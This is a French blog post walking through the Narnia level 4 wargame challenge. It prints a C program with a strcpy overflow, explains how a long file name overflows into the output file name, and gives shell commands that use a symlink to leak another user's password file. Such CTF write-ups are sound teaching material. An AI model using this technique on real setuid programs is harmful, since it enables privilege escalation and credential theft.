jeudi 20 octobre 2011

Challenge sur intruded - Narnia Level4

Retour aux exploitations de mémoire avec ce message. Le programme du niveau 4 de Narnia a attaquer est le suivant:
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <types.h/sys>
#include <stat.h/sys>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
  
int main(int argc, char **argv){
  
        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];
  
        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
                exit(-1);
        }
  
        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
                exit(-1);
        }
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);
                exit(-1);
        }
  
        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
  
        /* close 'em */
        close(ifd);
        close(ofd);
  
        exit(1);
}

Le programme se comprend facilement. Il prend en entrée un fichier de nom ifile et ayant en file descriptor ifd, et le copie en sortie dans le fichier de nom /dev/null ayant comme file descriptor ofd.
L'exploitation va ressembler au niveau 1 de Narnia.

Solution après le saut:

Dans la mémoire, nous allons trouver de manière contigüe ifile qui fait une taille de 32 octets et ofile.
Si ifile fait plus de 32 octets, alors il déborde sur ofile, nous permettant de changer ainsi le nom du fichier de sortie.

Il faut donc un fichier d'entrée pointant vers le password de level5, ce que l'on fait à l'aide d'un lien symbolique. Ce nom de fichier doit faire plus de 32 caractères. Les caractères au delà du 32e doivent correspondre d'une part à un fichier existant, d'autre part à un fichier dans lequel level5 peut écrire. Let's sploit!

Quelque commandes UNIX permettent d'aboutir au pass sans trop de souci:
level4@narnia:/wargame$ cd /tmp
level4@narnia:/tmp$ ln -s /home/level5/.passwd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
level4@narnia:/tmp$ touch aaaaaaaa
level4@narnia:/tmp$ chmod 666 aaaaaaaa
level4@narnia:/tmp$ /wargame/level4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
copied contents of aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa to a safer place...
(aaaaaaaa)
level4@narnia:/tmp$ cat aaaaaaaa
bLRzDUjG
(none)üÿ¿_ñlevel4@narnia:/tmp$ su - level5
en avant vers le level5.

Aucun commentaire:

Enregistrer un commentaire